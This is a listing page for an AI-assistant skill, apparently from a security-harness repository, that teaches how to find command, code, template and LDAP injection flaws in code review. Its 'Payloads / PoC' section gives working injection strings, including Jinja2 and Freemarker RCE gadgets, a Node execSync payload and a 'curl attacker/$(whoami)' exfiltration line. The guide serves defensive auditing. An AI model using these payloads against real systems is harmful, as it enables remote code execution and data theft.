Command / Code / Template Injection - Hunter Knowledge Base
SkillDocs & knowledgeKnowledge base for finding command/OS injection, template injection (SSTI), code injection (eval), and LDAP/NoSQL/expression injection. Use when hunting injection into shells, template engines, interpreters, or directory queries. CWE-77/78/94/917, OWASP A03:2021-Injection.
Available today. Use it from your connected AI after setup.
No other account needed.
Add ahel to your AI once: Claude, ChatGPT, Cursor, Claude Code or Codex. Then ask it to use this.
Then ask your AI: use the Command / Code / Template Injection - Hunter Knowledge Base skill
What this skill tells your AI
The instructions your AI receives, as published by dmdhrumilmistry/security-harness in skills/sh-kb-injection/SKILL.md and read by ahel’s review.
Attacker input is interpreted as an OS command, program code, template expression, or query language. Frequently yields remote code execution - treat confirmed cases as critical.
Sub-classes & sinks
OS command injection (CWE-78)
- Python:
os.system,subprocess.*(..., shell=True),os.popen,commands.getoutput. - JS/TS:
child_process.exec,execSync,spawn(cmd, {shell:true}), backtick shell libs. - Java:
Runtime.exec(String),ProcessBuilderwith a shell string. PHP:system,exec,shell_exec,passthru, backticks,popen,proc_open. Go:exec.Command("sh","-c",str). - Ruby: backticks,
system,%x[],Open3with a shell string. Danger: user data concatenated into the command string; shell metacharacters; | & $() \` > <` not neutralized.
Code / eval injection (CWE-94/95)
eval, exec, Function(, setTimeout(str), vm.runInContext, pickle/yaml.load (see deserialization),
PHP eval/assert/create_function, Ruby eval/instance_eval/send(userStr).
Server-Side Template Injection (SSTI, CWE-1336)
User input concatenated into a template before compilation: Jinja2 Template(userStr).render(),
render_template_string(user), Twig, Freemarker, Velocity, Handlebars, ERB ERB.new(user), Thymeleaf
expressions, Go text/template parsing user strings. (Passing user data as a context variable is safe;
compiling user data as the template is not.)
LDAP / expression / NoSQL injection
LDAP filters built by concat (CWE-90): (&(uid=<user>)...). NoSQL $where, operator injection (see sqli
cheatsheet). SpEL/OGNL/MVEL expression eval on user input (CWE-917).
Detection recipe
graft grep "shell=True|child_process|Runtime.exec|shell_exec|render_template_string|\beval\(|ProcessBuilder|exec.Command" --json.- Trace the command/template/expression argument to an untrusted source.
- Check for argument-vector usage (safe:
subprocess.run(["ls", arg])without shell) vs shell string (unsafe).
Payloads / PoC
- Command:
; id,| id,$(id),`id`,& ping -c1 attacker, newline%0a id. OOB:; curl attacker/$(whoami). - SSTI (Jinja2):
{{7*7}}->49confirms; escalate{{ ''.__class__.__mro__[1].__subclasses__() }}... RCE gadget. - SSTI (Freemarker):
<#assign x="freemarker.template.utility.Execute"?new()>${x("id")}. - eval (JS):
1;process.mainModule.require('child_process').execSync('id'). - LDAP:
*)(uid=*))(|(uid=*for auth bypass / enumeration.
False-positive filters
- Argument vector, no shell: list-form
subprocess.run([...]),execFile,spawnwithoutshell:true,ProcessBuilderwith separate args - arguments can't inject commands. - Input strictly validated/allowlisted (enum of allowed commands), or a numeric/enum type.
- Template compiled from a constant; user data only supplied as bound context variables.
- Fully hardcoded command with no user data.
CWE / OWASP / severity
CWE-77/78 (command), CWE-94 (code), CWE-1336 (SSTI), CWE-90 (LDAP), CWE-917 (expression). OWASP A03:2021. Confirmed RCE -> critical; blind/limited -> high.
Chaining hints
Any of these -> RCE -> read secrets/env -> lateral movement; SSTI often escalates from a reflected value;
LDAP injection -> auth bypass. RCE is usually a chain terminus (full compromise).
Mitigation
Avoid shells: use argument-vector APIs (no shell=True). Never eval user input. Never compile templates
from user input; pass data as context only. Parameterize/escape LDAP filters. Allowlist where a set of
commands is genuinely needed. Run with least privilege and in a sandbox/container.
Signals
- GitHub stars
- 26
- Forks
- 9
- Last commit
- Sep 2026
Advanced
- Item type
- skill
- Key
sh-kb-injection- Source
- github.com/dmdhrumilmistry/security-harness